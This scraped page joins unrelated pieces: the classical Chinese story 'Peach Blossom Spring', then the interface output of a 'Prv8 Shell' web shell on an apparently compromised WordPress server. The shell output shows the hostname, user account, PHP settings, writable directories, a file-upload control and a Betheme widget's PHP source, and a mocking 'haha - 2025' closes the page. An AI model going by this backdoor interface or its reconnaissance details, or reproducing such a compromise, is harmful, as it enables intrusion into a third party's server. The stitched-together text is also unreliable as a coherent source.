晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/wp-contentTZh/themes/betheme/functions/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/wp-contentTZh/themes/betheme/functions/widgets/class-mfn-widget-attributes.php
<?php
/**
 * Widget Be Woocommerce Attributes
 *
 * @package Betheme
 * @author Muffin group
 * @link https://muffingroup.com
 */

if (! class_exists('Mfn_Widget_Attributes')) {
	class Mfn_Widget_Attributes extends WP_Widget
	{

		/**
		 * Constructor
		 */

		public function __construct()
		{
			$widget_ops = array(
				'classname' => 'mfn_woo_attributes',
				'description' => __('Shop Attributes.', 'mfn-opts')
			);

			parent::__construct('widget_mfn_woo_attributes', __('Be Shop Attributes', 'mfn-opts'), $widget_ops);

			$this->alt_option_name = 'widget_mfn_woo_attributes';
		}

		/**
		 * Outputs the HTML for this widget.
		 */

		public function widget($args, $instance)
		{

			if( mfn_opts_get('variable-swatches') == 0 || !function_exists('is_woocommerce') ){
				return;
			}

			if (! isset($args['widget_id'])) {
				$args['widget_id'] = null;
			}

			extract($args, EXTR_SKIP);

			echo wp_kses_post($before_widget);

			$title = apply_filters('widget_title', $instance['title'], $instance, $this->id_base);
			if ($title) {
				echo wp_kses($before_title, array('h3'=>array(),'h4'=>array()));
					echo wp_kses($title, mfn_allowed_html());
				echo wp_kses($after_title, array('h3'=>array(),'h4'=>array()));
			}

			$taxonomies = wc_get_attribute_taxonomies();
			$selects = $instance['mfn_attr'];

			if( is_iterable( $taxonomies ) ):
				echo '<form method="GET" action="'.get_the_permalink( get_option( 'woocommerce_shop_page_id' ) ).'" class="mfn_attr_filters '.($instance['button'] == 1 ? "button-enabled" : "button-disabled").'">';
				echo '<input type="hidden" name="mfn_attr_filter" value="1">';
				foreach( $taxonomies as $tx ):
					$terms = get_terms( "pa_".$tx->attribute_name, array( 'hide_empty' => false ) );

					if( is_iterable($terms) && count($terms) > 0 ){
					if( in_array($tx->attribute_id, $selects)){
						echo '<div class="mfn-vr">';

						echo '<label>'.$tx->attribute_label.'</label>';
						echo '<ul class="mfn-vr-options mfn-vr-'.$tx->attribute_type.'">';

						foreach($terms as $term){
							$active = 0;
							if(!empty($_GET['mfn_'.$term->taxonomy]) && in_array($term->slug, $_GET['mfn_'.$term->taxonomy])) $active = 1;

							echo '<li data-tooltip="'.$term->name.'" class=" '. ($tx->attribute_type == 'select' ? null : "tooltip") .' '.($active == 1 ? "active" : null).'">';

							if($tx->attribute_type == 'image'){
								$value = $mfn_value = get_term_meta($term->term_id, 'mfn_attr_field', true);
								echo '<span class="label"><span class="mfn_attr_icon" style="background-image: url('.wp_get_attachment_image_src($value, 'thumbnail')[0].');"><input type="checkbox" '.($active == 1 ? "checked" : null).' name="mfn_'.$term->taxonomy.'[]" class="mfn_attr_'.$term->term_id.'" value="'.$term->slug.'"></span></span>';
							}else if($tx->attribute_type == 'color'){
								$value = $mfn_value = get_term_meta($term->term_id, 'mfn_attr_field', true);
								echo '<span class="label"><span class="mfn_attr_icon" style="background-color: '.$value.';"><input type="checkbox" '.($active == 1 ? "checked" : null).' name="mfn_'.$term->taxonomy.'[]" class="mfn_attr_'.$term->term_id.'" value="'.$term->slug.'"></span></span>';
							}else if($tx->attribute_type == 'label'){
								echo '<span class="label"><span><input type="checkbox" '.($active == 1 ? "checked" : null).' name="mfn_'.$term->taxonomy.'[]" class="mfn_attr_'.$term->term_id.'" value="'.$term->slug.'"></span>'.$term->name.'</span>';
							}else{
								echo '<span class="label"><span class="mfn_attr_icon"><input type="checkbox" '.($active == 1 ? "checked" : null).' name="mfn_'.$term->taxonomy.'[]" class="mfn_attr_'.$term->term_id.'" value="'.$term->slug.'"> '.$term->name.'</span></span>';
							}

							echo '</li>';

						}
						echo '</ul>';
						echo '</div>';
					}
				}
				endforeach;
				echo '<button type="submit" class="button mfn-btn">' . esc_html__( 'Filter', 'woocommerce' ) . '</button>';
				echo '</form>';
			endif;

			echo wp_kses_post($after_widget);
		}

		/**
		 * Deals with the settings when they are saved by the admin.
		 */

		public function update($new_instance, $old_instance)
		{
			$instance = $old_instance;

			$instance['title'] = strip_tags($new_instance['title']);
			$instance['button'] = (int) $new_instance['button'];
			$instance['mfn_attr'] = $new_instance['mfn_attr'];

			return $instance;
		}

		/**
		 * Displays the form for this widget on the Widgets page of the WP Admin area.
		 */

		public function form($instance)
		{
			$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
			$button = isset($instance['button']) ? absint($instance['button']) : 0;
			$list = isset($instance['mfn_attr']) ? $instance['mfn_attr'] : [];

			$taxonomies = wc_get_attribute_taxonomies();
			?>

				<p>
					<label for="<?php echo esc_attr($this->get_field_id('title')); ?>"><?php _e('Title:', 'mfn-opts'); ?></label>
					<input class="widefat" id="<?php echo esc_attr($this->get_field_id('title')); ?>" name="<?php echo esc_attr($this->get_field_name('title')); ?>" type="text" value="<?php echo esc_attr($title); ?>" />
				</p>

				<h3 class="wp-block-legacy-widget__edit-form-title"><?php _e('Select attributes to display', 'mfn-opts'); ?></h3>

				<?php
				if( is_iterable( $taxonomies ) ):
					foreach( $taxonomies as $tx ):
						echo '<p><label for="'.esc_attr($this->get_field_id('mfn_attr')).'-'.$tx->attribute_id.'">
							<input id="'.esc_attr($this->get_field_id('mfn_attr')).'-'.$tx->attribute_id.'" name="'.esc_attr($this->get_field_name('mfn_attr')).'[]" '. (isset($list) && is_array($list) && in_array($tx->attribute_id, $list) ? "checked" : null ) .' type="checkbox" value="'.$tx->attribute_id.'"/> '.$tx->attribute_label.'
							</label>
						</p>';
					endforeach;
				endif;

				?>

				<h3 class="wp-block-legacy-widget__edit-form-title"><?php _e('Search button', 'mfn-opts'); ?></h3>
				<p>
					<label for="<?php echo esc_attr($this->get_field_id('button')); ?>">
					<input id="<?php echo esc_attr($this->get_field_id('button')); ?>" name="<?php echo esc_attr($this->get_field_name('button')); ?>" type="checkbox" <?php if(esc_attr($button) == 1){ echo 'checked';} ?> value="1"/> <?php _e('Display "Search" button at the bottom', 'mfn-opts'); ?>
					</label>
				</p>

			<?php
		}
	}
}

haha - 2025